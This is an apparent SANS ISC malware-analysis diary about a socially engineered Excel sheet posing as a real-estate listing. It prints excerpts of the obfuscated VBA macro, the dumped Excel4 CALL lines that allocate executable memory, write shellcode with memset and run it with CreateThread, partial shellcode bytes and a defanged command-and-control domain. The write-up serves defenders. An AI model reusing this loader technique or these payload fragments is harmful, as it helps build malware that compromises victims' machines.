Mixed VBA & Excel4 Macro In a Targeted Excel Sheet

Published: 2022-01-22. Last Updated: 2022-01-22 08:04:00 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

Yesterday, Nick, one of our readers, shared with us a very interesting Excel sheet and asked us to check if it was malicious. Guess what? Of course, it was and he accepted to be mentioned in a diary. Thanks to him! This time, we also have the context and how the file was used. It was delivered to the victim and this person was called beforehand to make it more confident with the file. A perfect example of social engineering attack. The Excel sheet contains details of a real-estate project. The Excel sheet is called "Penthouse_8271.xls" and, once opened, you see this:

The real-estate agency mentioned in the sheet exists and is established in Austria. When I receive a suspicious file like this one, I'm always starting with automated tools to speed up the analysis but this time, it did not work. To analyze VBA macros, one of my favorite tools is Vipermonkey but it almost crashed my REMnux environment, using a lot of memory. Let's revert to manual analysis. Some quick findings: The macro is heavily obfuscated, the code is populated with a lot of empty functions and comments. The macro does have the classic AutoOpen() function to automatically execute it. But we have these functions:

Sub info()
  Tabelle1.Visible = True
  Tabelle1.Activate
  boop
End Sub

Sub beschreibung()
  Tabelle2.Visible = True
  Tabelle2.Activate
  boop
End Sub

Sub grundriss()
  Tabelle3.Visible = True
  Tabelle3.Activate
  boop
End Sub

Sub haftung()
  Tabelle5.Visible = True
  Tabelle5.Activate
  boop
End Sub

You see that the function names correspond to the button seen in the picture above. The malicious code is located in boop() and will be triggered when the user clicks on a button. Let's click on "Penthouse Overview":

Note: this is a nice trick to defeat most of the Sandboxes because a user's interaction is required.

Legit information is displayed and the macro executed. Let's have a look at the code:

Sub boop()
  SuperintendAuthors = Array()
  SuperintendAuthors = LongPleasures(SuperintendAuthors,
ObtainedAncient("140000888e050094095b80e037e3000ac400f32308f044900eb00046500009e3f0bc0f40090e2b4290808e27008feea" & _
"0b00040090e010009c2e58bc8213e910ac790c20051a819c21f150b01e465b126ec9b9e5ee08050ab40700bcc0c00803c118001d90fcf90ff8ff5bf" & _
"ee11f51229d88f1e51fb121c8c926120c90e0c0a200fuopurr0wdbhjdb"))
SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("148e5e150510c90080d80f0f00ff8ff50200492e08059009a007ec9000ce94000204c0be90b1e8059e0c285e08353d260800914110" & _
"ebbc91ec0c4108b1e3e0e85080090b00979040fea180fcaebcc0509c1d0109000ee900002a" & _
"d6000835e30f747503217027b0a8014c11f126188044708fa174164103816408510964109f001" & _
"lwppbij1cjpchuk"))
SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("14e010b96ca0090b0bffb5d03ea1f57f0e810a5690e5006ff3ccb77ffffc1fcc7e0c00619191001c6000009ec8530eb84000cc50071b" & _
"080588bc470055ceb5598818829d181e20c8909ec8700898b0008c9028ebb872ee0f764" & _
"b51e0829305ba3baee800b50f084103a0b00017c5010fec0d1ca31af1b8c04f0d0ebf3530b1c85tcquttu4jpgotwt"))

Pretty nice obfuscation! Multiple functions are called to decode all strings and finally, the following one is called. It reveals the technique used:

Function SpecialLeaving(OverDesire As String)
  SpecialLeaving = ExecuteExcel4Macro(OverDesire)
End Function

The ExecuteExcel4Macro() is a VBA function to execute an Excel4 function[1]. Because we don't have an Excel4 macro split in cells, the classic deobfuscation tools won't work. To spread up the analysis, I added the following code to the macro:

Sub DumpExcel4(buffer as String)
   Dim outout As String
   output = "C:\temp\debug.txt" 
   Open output For Append As #1
   Write #1, buffer
   Close #1
End Sub
Function SpecialLeaving(OverDesire As String)
  DumpExcel4(OverDesire)
  SpecialLeaving = ExecuteExcel4Macro(OverDesire) 
End Function

This dumped all Excel4 functions into a flat-file. Once the macro has been executed in my lab, I got a nice debug.txt file:

"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",4096,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",8192,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",12288,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",16384,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",20480,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",24576,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",28672,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",32768,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",36864,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",40960,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",45056,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",49152,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",53248,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",57344,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",61440,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",65536,15992,12288,64)"
"CALL(""ntdll"",""memset"",""JJJJ"",65536,232, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65537,0, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65538,0, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65539,0, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65540,0, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65541,89, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65542,72, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65543,131, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65544,233, 1)"

We see that some memory is allocated. The last parameter of VirtualAlloc() is 64 (0x40) which means that memory is created with the PAGE_EXECUTE_READWRITE flag (to contain executable code). Then, the payload is moved into memory byte per byte with a very long series of memset(). Finally, the payload is executed on the last line:

"CALL(""Kernel32"",""CreateThread"",""JJJJJJB"",0,0,65536,0,0,0)"

The macro dumped 16009 lines in the file! Now, we can extract the payload:

remnux@remnux:/MalwareZoo/20220121$ grep memset debug.txt | awk -F ',' '{print $5}'|sets.py join ","

The result is a suite of characters:

232,0,0,0,0,89,72,131,233,5,186,120,62,0,0,51,192,64,144,15,132,79,36,0,0,233,107,5,0,0,252,233,63,...

The fastest way to decode this is to use Cyberchef with a simple recipe "From Decimal". I did a quick analysis of the shellcode. It connects to acrobatrelay[.]com but I don't have all the features at this time, still under investigation...

[1] https://docs.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 comment(s)

Comments


Diary Archives